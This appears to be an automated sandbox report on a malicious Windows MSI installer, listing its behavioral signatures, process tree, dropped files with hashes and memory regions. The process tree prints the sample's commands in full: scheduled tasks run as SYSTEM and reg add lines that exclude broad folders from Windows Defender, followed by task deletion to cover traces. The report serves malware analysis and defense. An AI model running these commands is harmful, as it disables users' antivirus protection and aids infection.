Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/07/2026, 01:09

General

  • Target
    Install_28n002.msi
  • Size 5.7MB
  • Sample260730-bja4lswepe
  • SHA256 ea5a7b848935ecbeb8a96165b733da6332ef28dbe0d027692b0c1b8e3bcbb6e5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 23 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n002.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1304
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4828
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 3248C3F816CA12796D53CD0DD5DF52BA E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      PID:4156
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:808
  • C:\Users\Public\PXJ4ei\qnp49J.exe
    C:\Users\Public\PXJ4ei\qnp49J.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PXJ4ei\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3712
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PXJ4ei\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2860
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1500
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1772
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4492
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4748
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4832
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2440
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2080
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3808
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:680
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5084
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2036
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:760
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1496
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1804
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2472
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2084
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3688
                        • C:\Program Files (x86)\WcPRrm\WcPRrm.exe
                          "C:\Program Files (x86)\WcPRrm\WcPRrm.exe"
                          2⤵
                            PID:2080
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PXJ4ei" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4496
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PXJ4ei" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4436
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1880
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4228
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2060
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4708
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4796
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4972
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:988
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4892
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3252

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                e588c00.rbs

                                • Path C:\Config.Msi\e588c00.rbs
                                • Size 7KB
                                • SHA256 08eaa82ac8f3c38f264ae5f513f24407195fe2937ed5a59873793f45d8604a24
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WcPRrm.exe

                                • Path C:\Program Files (x86)\WcPRrm\WcPRrm.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\WcPRrm\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 7068ded9f9b08385dfd34a9188e50a0678a435ffbb8de3648794cd6f0d81fec4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\WcPRrm\image.png
                                • Size 4.9MB
                                • SHA256 004f3c38cf698663c364834f9267d2719e819768584f02115fabecfbde93f2a5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                thumbs.db

                                • Path C:\Program Files (x86)\WcPRrm\thumbs.db
                                • Size 320KB
                                • SHA256 4bea56157e4e3663171f5a22768347ef88c4eb8bb4a532ac55e9f096779e3a86
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\PXJ4ei\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 435c362ed2d6af45b58d74e90a7f33b1de29975376b512a4f2cbd8749442ccea
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\PXJ4ei\adoresd.dat
                                • Size 4.8MB
                                • SHA256 afbb5802589ed3cab6c074d689c76b7a38b82e49e9d2e72e916a027d5c6536d2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\PXJ4ei\msadox.tb
                                • Size 8KB
                                • SHA256 2a9b6c5f2404b3c1b787616b8673976ef5d2cb9010d6d4c0ae5e47b5659e1076
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                qnp49J.exe

                                • Path C:\Users\Public\PXJ4ei\qnp49J.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MSI8DD5.tmp

                                • Path C:\Windows\Installer\MSI8DD5.tmp
                                • Size 5.7MB
                                • SHA256 f2f0cc6f7b1e3334ca03256781a86ab7c7c728a28de49714dde0e915fa4eb146
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                e588bff.msi

                                • Path C:\Windows\Installer\e588bff.msi
                                • Size 5.7MB
                                • SHA256 ea5a7b848935ecbeb8a96165b733da6332ef28dbe0d027692b0c1b8e3bcbb6e5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                metadata-2

                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                • Size 24.1MB
                                • SHA256 3dbdb3f9c9c6ad9db3fe9409ea60a79ad6b7bbfc789db96dc80a524bb59f7c81
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                {9cba6a6d-8a24-4662-ba47-2672d92775ba}_OnDiskSnapshotProp

                                • Path \??\Volume{6e0928ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{9cba6a6d-8a24-4662-ba47-2672d92775ba}_OnDiskSnapshotProp
                                • Size 6KB
                                • SHA256 2742b44bb28b324e8485838093688de606cc7df687ed6e4e8e53c27d30fa1a07
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2080-179-0x0000000074EF0000-0x000000007563A000-memory.dmp

                                memory/2080-197-0x0000000004B20000-0x0000000004B34000-memory.dmp

                                memory/2080-190-0x0000000002F00000-0x00000000036E9000-memory.dmp

                                memory/2080-186-0x0000000002F00000-0x00000000036E9000-memory.dmp

                                memory/2080-185-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

                                memory/2080-183-0x0000000002F00000-0x00000000036E9000-memory.dmp

                                memory/2080-178-0x00000000008A0000-0x00000000008A1000-memory.dmp

                                memory/3584-75-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-68-0x00007FFDE49C0000-0x00007FFDE49C2000-memory.dmp

                                memory/3584-80-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-89-0x0000023FA0580000-0x0000023FA060A000-memory.dmp

                                memory/3584-86-0x0000023FA0580000-0x0000023FA060A000-memory.dmp

                                memory/3584-85-0x0000023F9D6B0000-0x0000023F9D6FE000-memory.dmp

                                memory/3584-88-0x0000023FA0580000-0x0000023FA060A000-memory.dmp

                                memory/3584-87-0x0000023FA0580000-0x0000023FA060A000-memory.dmp

                                memory/3584-94-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-95-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-60-0x00007FFDE49B0000-0x00007FFDE49B2000-memory.dmp

                                memory/3584-66-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-61-0x00007FFDC48A0000-0x00007FFDC4DBE000-memory.dmp

                                memory/3584-69-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-73-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-74-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/3584-76-0x0000023F9F8A0000-0x0000023FA015E000-memory.dmp

                                memory/4156-13-0x00007FFDC5E80000-0x00007FFDC64D2000-memory.dmp

                                memory/4156-16-0x00007FFDD48C0000-0x00007FFDD48D0000-memory.dmp

                                memory/4156-12-0x00007FFDE49B0000-0x00007FFDE49B2000-memory.dmp

                                memory/4156-46-0x00007FFDD48C0000-0x00007FFDD48D0000-memory.dmp